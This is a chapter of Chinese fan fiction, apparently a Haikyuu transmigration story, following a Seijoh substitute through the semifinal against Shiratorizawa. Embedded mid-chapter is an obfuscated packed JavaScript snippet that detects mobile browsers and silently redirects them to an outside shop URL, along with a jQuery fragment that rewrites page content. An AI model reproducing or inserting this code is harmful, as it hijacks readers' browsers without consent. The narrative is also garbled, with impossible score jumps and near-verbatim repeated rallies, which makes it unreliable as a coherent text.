14.


    五月二十二日下午,IH宫城县预选赛半决赛。


    青叶城西对阵白鸟泽学园。


    体育馆的看台比上午更加拥挤。


    伊藤有弥坐在替补席上,手心全是汗。


    不是因为紧张。


    而是场馆里的空气太闷了——上午乌野那场鏖战之后,通风系统就没能跟上人群散发的热量,空调吹出来的风带着一股敷衍的暖意,混着汗水的气味和橡胶鞋底摩擦地板的焦灼,像一层看不见的薄膜贴在皮肤上,让人喘不过气。


    他的手臂上还残留着上午的印记。几块淡淡的红色,是接球时留下的。


    渡上午打了全部三局,此刻坐在他旁边,正用冰袋敷着右手腕。


    他的呼吸很平稳,但伊藤注意到他的拇指在冰袋上无意识地摩挲着——那是一个人在强迫自己放松时才会做的小动作。


    伊藤看了渡一眼,没有说话。


    金田一在他另一边坐着,表情比上午更加紧绷。


    他的下巴绷成一条直线,嘴唇抿得发白,膝盖在轻微地抖动——不是害怕,是兴奋和紧张混合在一起时身体的本能反应。


    他今天上午的发挥不错,但面对白鸟泽,他的身高优势将不再突出。


    白鸟泽的副攻手平均身高比他还要高几公分。


    国见靠着墙壁闭着眼睛,看起来像是在睡觉。


    他的呼吸很浅很均匀,睫毛一动不动,几乎可以骗过任何人。


    但伊藤注意到他的手指在大腿上轻轻敲击着——节奏很快,像是在打某种只有他自己能听懂的节拍。他在脑子里过战术。


    及川站在场边,正在和岩泉说话。


    他的嘴角没有那标志性的笑容。


    什么表情都没有。


    不是严肃,不是紧张,而是一种更深处的东西——像是把所有的情绪都压进了胸腔最底层,只留下一个空壳站在外面。


    他的目光穿过球场,落在对面半场那个高大的身影上。


    牛岛若利。


    白鸟泽的王牌,全国三大王牌之一,连续六年带领白鸟泽打入全国大赛的绝对王者。


    左撇子,身高一百八十九点五厘米,摸高三百四十五厘米。


    伊藤在漫画里看过他的脸,在文字描述里读过他的数据,在读者的评论里感受过他的压迫感。


    但那些都隔着屏幕,隔着纸张,隔着一个虚构世界的安全距离。


    现在他坐在这里,距离那个男人不到三十米。


    他能感觉到牛岛的存在本身就像一座山。


    不是比喻,是物理意义上的实感——那个人的气场像是有了重量,压在整个体育馆的上空,压在每个青城队员的肩上。


    横亘在宫城县所有队伍面前,三年了,没有人能翻过去。


    青叶城西一次都没有赢过白鸟泽。


    一次都没有。


    及川从初中开始就挑战牛岛。


    北川第一对抗白鸟泽初中部,始终屈居第二。


    他拒绝了白鸟泽的橄榄枝,选择了青城,一次又一次地向牛岛发起挑战。


    今年是他最后的机会。


    伊藤的目光越过球场,落在白鸟泽的半场。


    牛岛若利站在网前,正在做手腕的拉伸。


    他的动作很慢,很从容。


    脸上没有任何表情——不是面无表情,而是一种“我不需要多余的表情”的平静。


    那种平静不是刻意维持的,而是从骨子里长出来的,像一棵树的根系,深深扎进地下,风吹不动,雨打不摇。


    他穿着一号队服,左臂上的肌肉线条在灯光下格外明显。


    那不是健身房里的装饰性肌肉,而是常年高强度训练留下的痕迹——每一根纤维都像是被反复撕裂后又重新生长出来的,粗粝、结实、充满爆发力。


    他的身材在一群高中生中显得格外突出。


    不是因为他特别高,而是因为他特别壮。


    肩膀很宽,背部的肌肉像铠甲一样覆盖着整个上半身,从肩胛到腰际的线条像是用刀刻出来的。


    天童觉站在牛岛旁边。


    红色的头发在人群中格外显眼,像一团安静燃烧的火。


    他的身体柔软得不可思议——做拉伸的时候几乎能把整个人折成两半,那种柔韧度放在一个身高超过一米九的男人身上,有一种违和感。


    他的表情和牛岛截然不同。


    牛岛是平静的冷漠,天童是带着笑意的放松。他正在跟旁边的队友说着什么,嘴角弯着,像是在聊一件很有趣的事情。


    但伊藤知道那笑容下面的东西。


    天童觉的直觉拦网是宫城县最强的。


    他不是靠数据分析,不是靠经验判断,而是靠一种近乎本能的直觉——他能“闻到”攻手要扣球的方向。


    那听起来像是玄学,但伊藤在漫画里见过太多次那种拦网了:球刚刚离开二传手的手指,天童的手臂就已经等在了球的落点上。


    不是快,是预判。


    精准到可怕的预判。


    五色工站在场地的另一端,正在做发球练习。


    他的表情严肃,动作标准,每一个球都扣得很认真。


    作为一年级就被选入正选阵容的攻手,他的压力不小——白鸟泽的进攻体系围绕牛岛建立,但他必须在自己被分配到的进攻机会里拿出百分之百的表现,否则就会被替换下场。


    但他的眼神里没有紧张。


    只有一种“我要证明自己”的决心。


    那种决心带着少年特有的锋利,像一把刚磨好的刀,迫不及待地想要出鞘。


    白布贤二郎正在和濑见英太讨论战术。


    白布是白鸟泽的正选二传手,二年级。


    他的冷静沉稳不像一个十七岁的少年,更像一台精密的仪器——每一次托球的角度、高度、速度都精确到了极致。


    他的表情很少变化,声音很少起伏,就连走路的速度都像是被测量过的。


    濑见是三年级的替补二传手,头发染成了浅色,看起来有些桀骜不驯。


    但他的实力并不比白布差——只是风格不同。


    濑见的托球更有攻击性,更冒险,有时候会让人觉得“这个球不该这样托”,但结果往往出人意料。


    大平狮音和川西太一站在网前,正在进行拦网的模拟练习。


    大平是三年级的副攻手,身材高大,动作扎实。


    他的存在感不如天童那么强,但伊藤知道,白鸟泽的拦网体系中,大平是那个“填缝隙”的人——当天童的直觉判断失误时,大平会用他的经验和判断力补上漏洞。


    川西是二年级的副攻手,天童的搭档。


    他的表情比白布还要冷淡,几乎看不出任何情绪波动。


    但伊藤注意到他的目光一直在跟踪青城的攻手们——他在观察,在分析,在为每一个可能的拦网场景做准备。


    山形隼人。


    白鸟泽的自由人。


    伊藤的目光在山形身上停了一下。


    山形站在后排,正在做接球的热身。


    他的动作干净利落,没有任何多余的部分——每一次屈膝、每一次摆臂、每一次移动都像是被编程过的,精确、高效、不浪费一丁点力气。


    白鸟泽的整体防守不算强。


    他们的体系围绕牛岛的进攻打造,一传和防守都不是强项。


    但山形作为自由人,个人能力并不差,他的防守范围不大,但在他覆盖的区域内,很少有球能落地。


    伊藤的视线最后回到了牛岛身上。


    他想起了一个数据。


    牛岛若利从小学四年级开始打排球,每天扣球三百次,一年超过十万次,到高中三年级为止,他已经扣了超过八十万次球。


    八十万次。


    同样的动作,重复八十万次。


    那种极致的重复造就了极致的稳定——牛岛的扣球不是“发挥得好”或者“状态不错”,而是一种数学意义上的确定性。


    就像太阳每天都会升起一样,牛岛若利每场比赛都会拿下二十分以上。


    这不是预测,这是规律。


    哨声响了。


    声音在闷热的体育馆里回荡了一下,然后被墙壁弹回来,变成一种嗡嗡的低鸣。


    双方队员入场。


    及川和牛岛在网前握手。


    两个人的目光交汇了一瞬。


    及川的表情很平静。


    牛岛的表情也很平静。


    但伊藤注意到及川的手指握得很紧,指节泛白,像是要把什么东西捏碎在手掌心里。


    “请多关照。”及川说。


    “嗯。”牛岛应了一声。


    一个字。


    没有“请多关照”,没有“加油”,没有任何客套的废话。


    他只是应了一声,然后面无表情地走回了自己的位置。


    伊藤的心脏猛地跳了一下。


    不是因为牛岛的态度——他早就知道牛岛是这样的。


    而是因为他突然意识到了一件事。


    青城和白鸟泽打了三年,一次都没有赢过。


    一次都没有。


    及川彻从初一开始就站在牛岛若利的对面,七年了,他从来没有赢过这个男人。


    而现在,他站在网前,握着那个人的手,说“请多关照”。


    他的表情那么平静。


    伊藤不知道那种平静是怎么练出来的。


    第一局,白鸟泽先发球。


    牛岛站在底线后,手里转着球。


    整个体育馆安静了下来。


    那种安静不是寂静,而是一种被压迫出来的沉默——像是有什么东西悬在所有人的头顶,让大家不约而同地屏住了呼吸。


    伊藤听到了自己的心跳声。


    咚、咚、咚——像是有人在用拳头敲他的胸腔。


    牛岛的发球姿势和及川不同。


    没有那么夸张的助跑和起跳,但力量更加集中。他的动作简洁到近乎粗暴——抛球,助跑,起跳,挥臂。


    球在他的手掌中被压缩了一下。


    那是一个很细微的画面——排球的表面在接触牛岛手掌的瞬间微微凹陷,像是被一只无形的手捏了一下。然后球恢复原状,以不可能的速度飞了出去。


    伊藤甚至没看清球的轨迹。


    他只看到一道白色的线从牛岛的手中射出,像是子弹划过空气的残影。


    那道线砸在青城后场的地板上。


    弹起来。


    撞到了后面的墙上。


    “砰。”


    整个体育馆都安静了。


    不是夸张——是真的安静了。


    白鸟泽的应援团举着旗子,嘴巴张着,但声音还没来得及发出来。青城的看台上,所有人的呼吸都停了一拍。


    渡站在后排,手臂还保持着接球的姿势。


    但他的前臂没有碰到球。


    不是他不想接。


    是球的速度太快了,快到他的身体来不及做出任何反应。


    他的大脑告诉他“球来了”,但他的肌肉还没来得及收缩,球就已经在他身后弹了两下,滚到了广告牌旁边。


    渡的眼睛微微睁大了一瞬。


    那是一个很细微的表情变化,如果不是伊藤一直盯着他,根本不会注意到。


    但伊藤看到了。


    那不是一个自由人面对强发球时的紧张。


    那是一个自由人意识到“我可能接不到这个球”时的动摇。


    ACE。牛岛发球直接得分。


    及川的表情没有变化。


    但他的手攥紧了。


    伊藤看到他的指节在球裤侧面用力地按了一下,像是在确认什么——确认自己的手还在,确认自己的身体还能动,确认自己还没有被那个球击垮。


    牛岛的第二球。


    同样的力量,同样的速度,但这一次瞄准了青城后排的左侧。


    渡判断出了落点。


    他的身体移动了过去——脚步很快,重心很低,手臂在身体前方形成了一个完美的接球平面。


    球砸在他的前臂上。


    “砰。”


    那个声音比牛岛发球砸在地板上的声音更闷一些,但同样震耳。


    球从渡的前臂上弹了起来——不,不是弹了起来,是被弹飞了。球飞出了场外的方向,旋转着,像是被施加了某种无法控制的力。


    渡的接球动作很标准。


    但他的手臂承受不住牛岛发球的冲击力。


    伊藤看到他的前臂在发抖——不是害怕,而是肌肉被冲击后的自然反应。那种抖动的频率很快,像是手臂里面的肌肉纤维在集体痉挛。


    牛岛的第三球。


    这一次球速更快。


    左撇子特有的旋转让球在空中划出了一道向左飘的弧线——那种飘不是风造成的,而是球本身的旋转改变了周围的气流,让球的飞行轨迹变得不可预测。


    金田一判断失误。


    他的身体向右移动了半步,但球向左飘了过去。


    球从他的头顶飞过,砸在了他身后的地板上。


    那半米的距离,像是一道无法跨越的鸿沟。


    三比零。牛岛连续三个发球得分。


    青城的看台上安静了。


    那种安静和之前不一样——之前的安静是被压迫的沉默,现在的安静是窒息。像是有人把整个体育馆的空气都抽走了,所有人的胸腔都在塌陷。


    白鸟泽的应援团爆发出巨大的欢呼声。


    白色的旗帜在人群中翻滚,像一片翻涌的雪浪。“狮子奋迅”四个大字在旗帜上飘扬,每一下挥舞都像是在宣告一个事实:我们不会输。


    教练叫了暂停。


    青城的队员聚拢到场边。


    没有人说话。


    渡低着头,用毛巾擦着额头上的汗。


    但他的额头上没有汗。


    他只是需要用手做点什么来平复心情。他的前臂还在发抖,毛巾盖在上面,遮住了那片越来越红的皮肤。


    “不要慌。”教练的声音很平静。


    平静到有些不正常。


    伊藤看着教练的脸,突然明白了那种平静的来源——不是因为他有把握赢,而是因为他早就预料到了这种情况。


    三年了。三年了都是这样。牛岛的发球,白鸟泽的压迫感,青城的无力感——他已经见过太多次了。


    “牛岛的发球,不要想着直接接到位。”教练的声音不带任何感情色彩,像是在念一份已经读过一百遍的报告,“先把球接起来再说。渡,你的站位再往后退半米,给自己更多的反应时间。”


    渡点了点头。


    他的动作很轻,但伊藤看到他的喉咙动了一下——他在吞咽,在把某种情绪咽下去。


    “进攻端,不要急躁。白鸟泽的拦网很强,但他们的防守有缝隙。”


    教练的手指在战术板上敲了两下,落在白鸟泽后场的两个位置上。


    “及川,多用后排进攻和交叉跑动,打乱他们的防守阵型。”


    及川没有说话。


    他只是看着战术板,看着教练手指落下的那两个点,然后把目光移向了球场对面。


    他的表情依然平静。


    但伊藤注意到他的眼睛在微微眯起——不是紧张,不是愤怒,而是一种更危险的东西。


    他在计算。


    暂停结束。


    哨声响起,伊藤的胸腔跟着震了一下。


    白鸟泽继续发球。


    这一次不是牛岛——连续三个发球得分后,发球权已经转移了。但白鸟泽的发球手同样不容小觑,天童的发球带着诡异的旋转,球的飞行轨迹像是喝醉了酒的人,左摇右摆,让人无法判断落点。


    但渡接了起来。


    他的手臂在球接触的瞬间微微后撤,卸掉了球的一部分冲击力。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。


    送到位了。


    及川的左手在空中展开,五根手指像是在弹钢琴一样依次张开,球落在他手掌的瞬间,他的手腕轻轻一沉,像是把球的动能吸进了自己的身体里。


    然后他托给了岩泉。


    岩泉起跳。


    他的助跑只有两步——不是因为他跳不高,而是因为他知道白鸟泽的拦网不会给他留出三步助跑的时间。他的身体在网前拔地而起,右手后拉,肌肉从肩膀到手腕像是一条被拉满的弓弦。


    白鸟泽的拦网已经在那里了。


    天童和大平的双人拦网像一堵墙,封住了岩泉的扣球线路。两只手臂在网的上方并排伸着,手掌张开,像两把扇子,几乎覆盖了整个网口。


    但岩泉瞬间用一个吓人的斜线球避开了拦网。


    他的手腕在击球的最后一刻猛地一转,球从大平的指尖上方飞过,划出一道几乎平行于球网的弧线,落在了白鸟泽的场地上。


    球砸在地板上的声音清脆而有力。


    青叶城西得分。


    伊藤的拳头不自觉地攥紧了。


    发球权转移。


    他听到身后的看台上有人在大声喊“青城”,声音嘶哑,像是已经喊了一整天。


    青城发球。


    及川站在底线后。


    他的发球姿势和牛岛截然不同——助跑距离更长,起跳更高,身体的舒展程度更大。他的整个身体像是一张被拉到极限的弓,每一个关节都在储存能量,然后在击球的瞬间一次性释放出来。


    球从他的手中飞出。


    速度不及牛岛,但旋转更强。球在空中划出了一道明显的弧线,像一轮弯月,然后突然下坠。


    白鸟泽的自由人山形判断出了落点。


    他的身体移动了过去,脚步很快,重心很低。他的前臂在球接触的瞬间微微后撤,卸力——球弹了起来,弧线不高不低,不快不慢。


    但球没有送到位。


    不是山形接得不好,而是及川的发球旋转太强了——球在接触山形前臂的瞬间改变了方向,弹向了一个他意料之外的位置。


    白布追了两步。


    他的脚步很快,但球的落点太偏了,他不得不在身体失去平衡的状态下托球。


    他托给了牛岛。


    因为这是唯一的选择——在身体失去平衡的情况下,只有牛岛能在那种高度和角度下完成扣球。


    牛岛起跳。


    他的起跳高度让人窒息。


    伊藤从替补席上看过去,牛岛的身体像是悬停在了空中——不是跳得最高,而是起跳的时机掌握得极好,刚好在青城拦网手开始下落的时候达到了最高点。


    牛岛扣球。


    球砸在青城的场地上。


    渡没有接到。


    不是他不想接——他判断出了球的落点,身体也移动了过去,但球速太快了,快到他的手臂刚伸出去,球就已经砸在地上了。


    ACE。


    比分四比一。


    伊藤的手心又开始出汗了。


    不是闷热,是紧张。


    他的笔记本摊在膝盖上,笔尖抵着纸面,留下了一个小小的墨点。


    他看着那个墨点在纸上慢慢扩散,突然意识到自己已经有好几秒没有呼吸了。


    他深吸了一口气。


    场馆里的空气依然闷热,带着汗水的咸味和橡胶的焦味。那种味道不好闻,但在此刻,它让伊藤感到一种真实的、活着的感觉。


    比赛继续。


    青城的发球策略在第一局后半段开始调整。


    及川不再追求ACE,而是把球发到白鸟泽前排主攻手的接发区域。


    大平的接发球能力不如山形。


    第一个球,及川的发球直接瞄准了大平的身体。


    大平的手臂伸了出去,但球砸在了他的手腕上,弹出了场外。


    青城得分。


    第二个发球,同样的区域。


    大平勉强接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的旋转让他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。


    白布追了两步。


    他的脚步很快,表情依然冷静。他在不利的位置起跳,身体在空中微微后仰,左手托球。


    球飞向了牛岛的方向。


    牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。


    球砸在青城的场地上。


    但这一次,渡接了起来。


    他的身体在球接触的瞬间做出了反应——前臂后撤,呼气,重心下沉。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。


    及川的手掌在空中展开。


    他的手指修长,关节分明,像是钢琴家的手。球落在他手掌的瞬间,他的手腕轻轻一沉,像是在称量球的重量。


    然后他托给了国见。


    国见起跳。


    他的起跳高度不高,助跑距离很短,但他在空中的身体控制能力是青城最强的。他的上半身在起跳后微微后仰,右手后拉,看起来像是要扣球。


    但他的手腕在击球的最后一刻突然放松了。


    球从他的手掌中滑了出去,轻飘飘地越过了白鸟泽的拦网,落在了前排和后排之间的空档里。


    吊球。


    山形判断出了球的落点,鱼跃扑出。


    他的身体在空中伸展,手臂在地板上滑行了一段距离,指尖碰到了球。


    但球还是落地了。


    不是他接不到,而是国见的吊球太轻了——轻到球在接触山形指尖的瞬间几乎没有改变方向,只是微微减速,然后继续下坠。


    比分追到了四比二。


    青城的看台上爆发出一阵欢呼。


    伊藤的笔在本子上飞快地记录着:发球战术有效。继续针对大平。国见的吊球在白鸟泽的防守体系中找到了缝隙。


    但他知道,这还不够。


    白鸟泽的进攻体系以牛岛为核心。他们的二传手白布几乎每一个球都托给牛岛——不是因为他不会托给别人,而是因为托给牛岛就是最好的选择。


    牛岛的力量、高度和左撇子的优势让他几乎无法被拦死。


    即使被接起来,球的轨迹也会被破坏,变成白鸟泽的机会球——那种球速太快,冲击力太强,接球的人根本控制不住球弹起的方向和高度,往往是球弹起来后,白鸟泽的攻手已经等在了网前,准备二次进攻。


    及川站在场上,看着对面的牛岛。


    他的眼神里有火焰。


    不是愤怒的火焰,而是一种更安静、更持久的燃烧——像是炭火,表面上看不到明火,但温度高得烫手。


    青城发球。


    及川的跳发球直接飞向了白鸟泽的后场底线。


    山形判断出了落点——球会出界。


    他没有接。


    但球砸在了底线上。


    ACE。


    二十四比十六。


    青城追回一分,但已经太晚了。


    第一局的比分定格在二十五比十六。


    白鸟泽拿下第一局。


    局间休息的时候,伊藤坐在板凳上,手里的笔记本上画满了白鸟泽的战术图。


    牛岛若利的每一个落点都在青城后场的两个角上,误差不超过三十厘米;天童的拦网喜欢封斜线,因为大部分攻手在压力下会选择打斜线。


    白布在传球到位的情况下,他百分之七十以上的球会托给牛岛,但在传球不到位的情况下,这个比例会上升到百分之九十。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460587|201213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他记录了白鸟泽防守体系中的缝隙——山形的防守范围在左侧比右侧强,因为他是右撇子,向左移动的速度更快。这意味着青城应该多打右侧的吊球。


    白鸟泽的防守有两个问题。伊藤在心里默默总结着。


    第一,一传体系脆弱。牛岛不参与接一传,两个主攻承担全部一传,但他们的接发球能力不如自由人。只要把球发到非自由人的区域,白鸟泽的一传就会出现偏差。


    第二,拦防脱节。天童的直觉拦网很强,但拦网和后排防守之间缺乏配合。天童拦下来的球经常没有人跟进,因为后排防守的人判断不出天童会拦哪条线。


    这些缝隙很小。


    像头发丝一样细。


    但它们是存在的。


    青城需要做的就是找到这些缝隙,然后用及川的托球把它们撕开。


    撕成大口子。


    伊藤抬起头,看着及川。


    及川坐在场边,正在喝水。


    他的喉结上下动着,水从瓶口流进嘴里,有一些顺着下巴滑下来,滴在运动服上。他的表情依然平静,但他的呼吸频率比平时快了不少。


    伊藤突然想起了一个细节。


    在原著漫画里,及川彻在高中毕业后去了阿根廷,成为了阿根廷国籍,代表阿根廷参加了奥运会。


    他的对面站着影山飞雄,站着日向翔阳,站着那些他曾经在宫城县交过手的人。


    他站在世界的舞台上,面对那些比他更年轻、更有天赋、更有未来的后辈,用他的发球和托球和他们对抗。


    那一幕,伊藤在读漫画的时候觉得热血沸腾。


    但现在,坐在这闷热的体育馆里,看着及川喝水时微微发抖的手指,他突然理解了另一种东西。


    及川彻不是一个“天才”。


    他是一个“努力的天才”。


    那些站在世界舞台上的人,大多数从出生开始就被选中了——他们的身高,他们的爆发力,他们的运动神经,都是基因彩票的头等奖。


    但及川彻不是。


    他的身高一百八十四厘米,在排球运动员里不算矮,但也不算高。他的弹跳力不错,但比不上牛岛。他的速度很快,但比不上影山。


    他的一切都是“不错”的,但没有一项是“顶级”的。


    他唯一顶级的,是他的意志力。


    那种“我不会输给天才”的意志力,那种“我可以用努力打败天赋”的信念,那种“即使所有人都说我不行,我也要证明他们错了”的倔强。


    那才是及川彻最可怕的地方。


    第二局开始。


    青城调整了发球策略。


    及川站在底线后,手里转着球。


    他的表情和第一局不同了——不是平静,而是一种更锐利的东西。像是一把刀,在第一局被白鸟泽的防守磨钝了,现在又重新磨快了。


    他抛球,助跑,起跳。


    球从他的手中飞出,速度比第一局更快。


    球飞向了白鸟泽前排主攻手的接发区域——大平。


    大平的接发球能力不如山形,第一个球直接接飞了。


    青城得分。


    及川的第二个发球。


    同样的区域,但这一次球速更快,旋转更强。


    大平勉强接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的旋转太强了,他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。


    白布追了两步。


    他的脚步很快,表情依然冷静。他在不利的位置起跳,身体在空中微微后仰,左手托球。


    球飞向了牛岛的方向。


    牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。


    球砸在青城的场地上。


    但这一次,渡在后排接了起来。


    他的身体在球接触的瞬间做出了反应——前臂后撤,呼气,重心下沉。


    球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。


    及川托给了国见。


    国见扣球。


    不——不是扣球。


    国见在空中做出了扣球的姿势,但他的手腕在击球的最后一刻突然放松了,球从他的手掌中滑了出去,轻飘飘地越过了白鸟泽的拦网,落在了前排和后排之间的空档里。


    吊球。


    球落地了。


    山形伸出了手臂,但他的指尖距离球还有几厘米。


    那几厘米,像是一道无法跨越的鸿沟。


    青城连得四分,将比分改写为四比零。


    白鸟泽的教练叫了暂停。


    伊藤的笔在本子上飞快地记录着。“发球战术有效。继续针对大平。”


    他的手指在发抖——不是紧张,是兴奋。


    他看着比分板上的数字,四比零。


    青城领先。


    他想起了一个画面。


    在原著漫画里,青城从来没有在正式比赛中赢过白鸟泽。


    一次都没有。


    但那是原著。


    现在坐在他面前的这些人是活生生的——他们的汗水是真实的,他们的呼吸是真实的,他们前臂上的红色印记是真实的。


    他们的每一次得分,都是真实的。


    暂停结束后,白鸟泽调整了接发球站位。


    山形的防守范围进一步扩大,几乎覆盖了半个后场。


    他站在后排中央,目光扫过青城的半场,像是在说:“发过来吧,我不会让你们再得分了。”


    及川的发球不再像开局那样连续得分。


    山形扩大防守范围后,白鸟泽的一传稳定性明显提升。大平的接发球区域被山形覆盖了一部分,他的压力减小了不少。


    但青城的进攻节奏已经起来了。


    岩泉的扣球穿过了天童和川西的拦网。


    天童的手臂伸了出去,但他的指尖距离球还有不到十厘米——那种距离在排球比赛中等于不存在。


    球从他的手指旁边飞过,砸在白鸟泽的后场上。


    国见的吊球精准地落在了山形防守范围的边缘。


    山形的身体移动了过去,但他的手臂伸出去的时候,球已经落地了——球落地的地方距离他的指尖只有几厘米,但排球比赛不看“几厘米”,只看“落地了还是没有落地”。


    金田一的快攻利用身高优势直接得分。


    他的起跳时机掌握得极好——球从及川的手中飞出去的同时,他已经开始起跳了。


    他的身体在空中上升的时候,球刚好落在他的手掌里,他的手腕一压,球就越过了白鸟泽的拦网,砸在了地板上。


    花卷的后排进攻让白鸟泽的防守阵型出现了混乱。


    他在后排起跳,球从白鸟泽拦网手的头顶飞过,落在了后场——那个位置刚好是山形移动到前排补位后留下的空档。


    比分交替上升。


    十一比九,十四比十二,十七比十五。


    青城始终保持着两分左右的领先优势。


    但白鸟泽每一次都能把分差缩小。


    不是因为青城失误了,而是因为牛岛站在场上。


    每一次青城得分后,牛岛就会用他的扣球把那一分追回来。


    不是追平,是追回——就像是有一只无形的手在平衡着比分,不让任何一方拉开差距。


    牛岛的表情依然平静。


    他的扣球像是一台精密的机器——每一次起跳的高度都一样,每一次挥臂的速度都一样,每一次击球的点位都一样。


    那种精确让人不寒而栗。


    因为那不是“状态好”,那是“数学”。


    渡在后排连续接起了他的三个重扣。


    每一次接球都像是在承受一次撞击——球砸在渡前臂上的声音,沉闷而有力,像是有人用锤子敲打一块肉。


    渡的手臂越来越红。


    从手腕到手肘,那片皮肤的颜色在逐渐加深,像是有人在用红色的颜料一点一点地涂抹。


    但他的动作没有变形。


    他的前臂依然保持着正确的角度,他的身体依然在球接触的瞬间微微后撤卸力,他的呼吸依然平稳。


    只是他的前臂在发抖。


    那种抖动的频率比第一局更快了。


    及川托给了国见,国见扣球。


    天童的直觉拦网出现了。


    他判断出了国见的扣球线路——不是靠数据分析,不是靠经验判断,而是靠一种近乎本能的直觉。


    他的手臂提前伸到了球的路线上,手掌张开,像一把扇子。


    球砸在他的手掌上。


    “砰。”


    球被直接拦死,弹回了青城的场地。


    天童落地后,笑了一下。


    那笑容不是挑衅。


    而是一种“我猜对了”的满足。


    就像一个解谜游戏爱好者解开了一道难题后露出的笑容,纯粹、无害,但在对手看来,那笑容比任何挑衅都要让人绝望。


    比分来到了二十比十八,青城领先两分。


    及川发球。


    他的跳发球直接飞向了白鸟泽的后场底线。


    山形判断出了落点——球会出界。


    他没有接。


    但球砸在了底线上。


    ACE。


    二十一比十八。


    及川的第二个发球。


    这一次球飞出了底线——不是山形判断失误,而是及川自己的控制出现了偏差。球落在底线外十几厘米的位置,裁判的哨声响了。


    白鸟泽得分,发球权转移。


    白布托给了牛岛。


    牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。


    球砸在青城的场地上。


    渡接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的冲击力太大了,他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。


    及川追了两步。


    他的脚步很快,但球的落点太偏了,他不得不在身体失去平衡的状态下托球。


    他托给了岩泉。


    岩泉起跳——他的身体在空中微微后仰,右手后拉,然后猛地挥出。


    球砸在天童的手上。


    天童的手臂伸了出去,手掌张开,球砸在他的掌心,弹回了青城的场地。


    二十比二十。


    比分追平了。


    青城叫了暂停。


    教练站在战术板前,画了几条线。


    “他们的拦网很强,但防守有缝隙。”教练的手指在战术板上敲了两下,落在白鸟泽后场的两个位置上。“国见,你的吊球多用几次。岩泉,你的扣球不要追求力量,找角度。及川,多用后排进攻。”


    伊藤坐在板凳上,手不自觉地攥紧了膝盖上的毛巾。


    他的手指在毛巾上无意识地摩挲着,像是在擦什么东西。


    他看着渡。


    渡坐在场边,正在用冰袋敷着前臂。


    他的手臂在发抖——不是紧张,而是体力消耗过大的自然反应。


    冰袋下面的皮肤红得发紫,像是被什么东西烫过一样。


    牛岛的扣球太重了。


    每一次接球都在消耗渡的体力和手臂。一次接球不会造成什么影响,但一百次接球呢?两百次呢?


    伊藤看着渡的手臂,突然想起了一个数字。


    牛岛若利从小学四年级开始打排球,每天扣球三百次,一年超过十万次,到高中三年级为止,他已经扣了超过八十万次球。


    八十万次扣球。


    渡的手臂承受了其中一部分。


    但那部分已经足够让他的前臂变成那片颜色了。


    “换人。”教练的声音忽然响起。